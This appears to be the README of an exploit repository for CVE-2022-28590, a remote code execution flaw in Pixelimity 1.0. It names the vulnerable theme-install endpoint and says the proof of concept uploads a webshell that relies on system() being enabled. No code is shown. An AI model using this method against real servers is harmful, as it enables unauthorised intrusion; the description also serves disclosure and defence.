CVE-2022-28590

A Remote Code Execution (RCE) vulnerability exists in Pixelimity 1.0 via admin/admin-ajax.php?action=install_theme.

This PoC uploads a simple webshell for further remote code execution. This exploit expects from the server that system() function is allowed, otherwise some previous recon must be done in order to detect which function allows execution other than system.
